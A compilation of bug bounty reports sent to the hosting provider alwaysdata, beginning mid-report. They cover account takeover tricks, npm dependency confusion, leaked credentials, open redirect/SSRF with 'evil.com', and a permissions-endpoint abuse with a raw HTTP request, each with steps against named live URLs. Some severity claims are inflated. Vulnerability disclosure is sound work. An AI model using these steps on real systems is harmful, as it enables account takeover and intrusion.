- Attackers can impersonate sensitive roles and deceive users or employees.
- Creates opportunities for phishing, fraud, and social engineering attacks.
3. Reputational Damage:
- Users and employees may lose trust in alwaysdata due to perceived weak account protection mechanisms.
4. Pre-Complete ATO:
- Attacker gains control of accounts with system-level trust (e.g., admin-like emails) without the ability of real users to regain access.

Severity:
High

Remediation Steps:
1. Mandate Email Verification:
Require all email addresses to be verified during registration and before enabling 2FA.
2. Restrict Critical Email Formats:
Disallow registrations with email addresses resembling sensitive roles (e.g., admin, administrator, support).
3. Enforce Ownership Validation:
Implement strict validation to ensure that users can only enable 2FA on accounts they genuinely own.
4. Audit Existing Accounts:
Identify and rectify any unverified accounts with potentially sensitive email addresses.

Video POC:
A detailed demonstration of the exploit steps is attached to this report to illustrate the issue clearly.
https://drive.google.com/file/d/17DNkoihfOW7jyMoY_eWMGNiigNY4Zmo7/view?usp=sharing

Hope everything going well on your side.

Recently, while enumerating over alwaysdata.net and alwaysdata.com i came across a js file which contain a npm dependency which you also used using command require('nw.gui') . When i check it on npm registry it does not exist over there. So i claimed it. I also came across other dependencies which are used in other js files with the exact syntax but they are already exist on npm registry but only this dependency does not exist over npm registry. So, it could easily result in npm dependency confusion vulnerability which could severe consequences like if anytime you update/install it will easily give rise to Remote Code Execution over user/developer system even if it in scope or not.

## Step to reproduce:

1. Enumerate over your domain and find all endpoints.
2. From endpoints extract all js files.
3. In JS files search npm dependecies.


4. You will find dependency which I mentioned above.


Follow this js-file : [Link](https://foxrewards.alwaysdata.net/jeu/js/rpg_core.js)
5. Claimed the dependency.


## Impact:

1. If anytime you update/install it will easily give rise to Remote Code Execution over user/developer system which could be fatal.
2. Reputation damage of the company.

## Mitigation
Once you have reviewed this report, I can unclaim the package and you can upload your own ones there.

Description:
A User's credential was leaked on github-dork.This will give potential insights to user's sensitive infos if any.

Steps to Reproduce:
1.github dork "admin.alwaysdata.com password"
2.visit this Repo:"https://github.com/AndryAurelian101/PHP-project/blob/b3b26287837a34ecb75da46e90ebf01c919d0c1e/www/db_connect.php"
3.you could see the credential are leaked.

I was able to login into the user's credential for verification.

Impact:
Information disclosure

Mitigation:
Redacting the credentials

Summary:
A potential security vulnerability has been identified in the user invitation token generation process when integrated with a third-party service. This vulnerability could lead to the leakage of user invitation tokens, potentially exposing sensitive information and compromising the security of user accounts.

Details:
Vulnerability Type: Information Disclosure
Affected Component: User invitation token generation integrated with third-party service
Severity: High
Description:
During our security assessment, it was discovered that the user invitation token, which is generated as part of the user invitation process, is not adequately protected when interacting with a third-party service. This oversight allows unauthorized access to the token, leading to potential exposure of sensitive information.

Steps to Reproduce:
1.Login into the account.
2.Go to the invite user function and add the email which you want to invite.
3.A token is received to that email for joining the team.
4.Keep your proxy on and click on the invitation link.
5.Set the password and you have successfully joined the team.
6.Now go back to your burp suite and search for the invitation token which is received on the step3.
7.You will notice that the token got leaked into third parties also.

Impact:
If exploited, this vulnerability could allow an attacker to gain unauthorized access to user accounts, potentially leading to data theft, unauthorized access to sensitive information, and other malicious activities.

Recommendations for Mitigation:

Token Encryption: Implement encryption mechanisms to protect user invitation tokens during transmission to and from the third-party service.
Secure Transmission: Ensure that communication channels between your system and the third-party service are secure, using protocols such as HTTPS.
Token Expiry: Implement token expiration mechanisms to limit the window of opportunity for exploitation.
Audit Access Logs: Regularly audit access logs for any suspicious activities or unauthorized access.

Proof of Concept (PoC):
Include relevant information or details demonstrating the vulnerability, ensuring that no sensitive information is disclosed in the report.

I appreciate your prompt attention to this matter and look forward to working collaboratively to address and resolve this security vulnerability.

Thank you.

Aditya

Bug Bounty Report

Title: MTA-STS Record Not Found for Domain

Severity: High

Summary: The domain alwaysdata.com does not have an MTA-STS (Mail Transfer Agent Strict Transport Security) record configured. MTA-STS is a critical security mechanism that enforces secure connections between mail servers, preventing Man-in-the-Middle (MitM) attacks and enhancing email security. The absence of this record leaves the domain vulnerable to potential interception and tampering of email communications, posing a significant risk to the confidentiality and integrity of sensitive information.

Description: Upon conducting a security assessment, it was observed that the domain alwaysdata.com lacks an MTA-STS record in its DNS configuration. MTA-STS is a crucial security protocol that ensures secure communication channels between mail servers, thereby mitigating the risk of interception and tampering of email traffic.

In the absence of an MTA-STS record, malicious actors could exploit vulnerabilities in email transmission, potentially intercepting sensitive information exchanged between servers. This vulnerability exposes the domain to various security threats, including but not limited to Man-in-the-Middle attacks, eavesdropping, and unauthorized access to confidential data.

Steps to Reproduce:

Go to the MTA-STS TXT record checker tool https://easydmarc.com/tools/mta-sts-check?domain= Observe the absence of an MTA-STS TXT record.
Verify that the domain's DNS configuration does not include any MTA-STS policies.
Impact: The absence of an MTA-STS record for the domain alwaysdata.com has the following impacts:

Security Risk: Without MTA-STS, email communications are vulnerable to interception and tampering by malicious entities, compromising the confidentiality and integrity of sensitive information.
MitM Attacks: Attackers could exploit the lack of secure communication channels to intercept emails, leading to potential data breaches and unauthorized access to confidential data.
Compliance Concerns: Non-compliance with industry standards and best practices regarding email security, potentially leading to regulatory penalties and reputational damage.
Recommendations:

Implement MTA-STS: Configure an MTA-STS policy for the domain alwaysdata.com following the specifications outlined in RFC 8461 to enforce secure communication between mail servers.
Enable TLS Encryption: Ensure that TLS encryption is enabled and properly configured on mail servers to further enhance email security.
Regular Monitoring: Conduct regular audits and monitoring of DNS configurations to identify and address any security vulnerabilities promptly.
Educate Users: Raise awareness among domain administrators and users about the importance of email security practices, including the significance of implementing MTA-STS.
Proof of Concept (PoC): The absence of an MTA-STS record for the domain alwaysdata.com can be verified by performing a DNS lookup for the MTA-STS policy. The lack of an MTA-STS TXT record in the DNS configuration confirms the vulnerability.

Additional Notes: It is imperative to prioritize the implementation of MTA-STS for the domain alwaysdata.com to mitigate the identified security risk effectively. Failure to address this issue promptly could result in severe consequences, including data breaches and compliance violations.

Thank you ,

Sanjith Roshan U

Security Researcher

POC DRIVE LINK:https://drive.google.com/file/d/1mERA_7qmeQ8bRAYuUZFRsuYJqAmm3CgO/view?usp=sharing

Description

A vulnerability exists on the https://admin.alwaysdata.com/ permissions_delete endpoint which is intended for deleting sub-accounts' generated data or permissions. However due to unsecure design, it can also be used to remove critical permissions or access controls of the owner account, rendering the account useless.

Proof-of-Concept

1. Visit this URL: https://admin.alwaysdata.com/permissions/<owner-id>/delete/ (Replace owner-id with the the id of main account, that is, the one with 'impossible deletion')

2. This renders the account useless. But permissions can still be reinstated using the following request

POST /permissions/<account-id>/ HTTP/2
Host: admin.alwaysdata.com
Cookie: csrftoken=nHI6Qy3zJu9uxxxqNvXRuZlTuvgLJwbBI5jg4XRa; django_language=en; sessionid=tdcg6j9im2g31ga9tk7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://admin.alwaysdata.com/permissions/
Content-Type: application/x-www-form-urlencoded
Content-Length: 314
Origin: https://admin.alwaysdata.com


csrfmiddlewaretoken=U0CcqjIPBxxxxxxxxxxxx2zGI69d7GFBI5AKORMPsTJlk1SfgDJZ5t&csrfmiddlewaretoken=U0CcqjIPBxxxxxxxxxxxxxxxx7GFBI5AKORMPsTJlk1SfgDJZ5t&email=<EMAIL>&customer_account=on&customer_contact_billing=on&customer_full_accounts=on&customer_full_servers=on&account=<USERID>

Mitigation

Ensure that only authorized admin can access and modify owner permissions through the delete endpoint. This can be achieved by implementing authentication and authorization mechanisms.

Hello Team, I hope you are doing well, while researching in your domain i found Blind SSRF and Open Redirection in Comment Section.

Steps:

1.https://blog.alwaysdata.com/2018/09/20/teaching-program-for-better-it-courses/comment-page-1/ 2. Fill the form and add evil.com or your burp Collab in Website Field.
3.Then Click on Post Comment to post your comment in website.

You can see your comment is posted in the website, when you click on the username in the post it will redirect you in the attacker website or in burp collab you get dns and http responses.

Attacker can host your malicious website in comment section to redirect a user in their website for stealing stuffs etc.

#Note:

It can also vulnerable for clickjacking.

Thank You,

Waleed Anwar

Summary:

During testing, I discovered that the 2FA (Two-Factor Authentication) feature can be abused to block legitimate users from registering on the platform. This vulnerability arises because the application allows users to update their email addresses without disabling 2FA. When users update their email while 2FA is enabled, the application requires the 2FA code to log in with the new email. An attacker can exploit this flaw by registering an account using his email, enabling 2FA, and then updating the account's email to the victim's. This process effectively locks the victim out of their email address and prevents them from registering to the platform.

Steps to Reproduce:

1. create account at : https://admin.alwaysdata.com/admin/details/

1. The attacker creates an account using their email address.

1. the attacker logs in and enables 2FA.

1. The attacker then updates their email address to the victim's.

1. If the victim tries to register an account using their email address, they receive an error stating that the email already exists.

1. If the victim attempts to reset the password using the "Forgot Password" feature:

1. The victim receives the password reset link and successfully updates their password.

1. Upon attempting to log in, the application prompts for the 2FA code.

1. Since the victim cannot access the 2FA code the attacker sets, they cannot log in.

PoC :

https://drive.google.com/file/d/1iKnoKLZXCREeIidrOzvH2SXDNDLPqsLH/view?usp=sharing

Impact

This behavior effectively locks the victim out of their email address, preventing them from registering or accessing an account on the platform.

A password reset page does not properly validate the authenticity token at the server side.

1. Go to https://admin.alwaysdata.com/password/lost/ and request a new password.
2. Go to email, and click on the link.
3. Put the new password, submit and intercept the request; remove the authenticity token from the request and now forward it to the server.
you will see request still got completed, its shows token invalid in the browser but you can refresh the page and you see that user is logged in with new password.

Thanks,

Waleed Anwar

Target:alwaysdata.com

Vulnerability Type:Sensitive Credential Exposure

Severity:CRITICAL

Overview:During an OSINT investigation using a custom tool designed to collect data from dark web forums, I identified exposed credentials of users from alwaysdata.com were leaked This poses a significant security risk to the organization. Attached is the txt file with the credentials I found.

Remediation:
Reset all compromised user passwords immediately
Enforce multi-factor authentication
Monitor for signs of account compromise and unauthorized access
Notify impacted users to update credentials

Impact:
Mass account takeovers by attackers
Breach of personal data and intellectual property
Financial fraud and illegal activities using compromised accounts
Potential lateral network compromiseBrand damage, legal liabilities, regulatory violations

Poc :

https://drive.google.com/drive/folders/1Ox0JvlCLy--RDErIj7y9GzGLwoAY7PQL?usp=sharing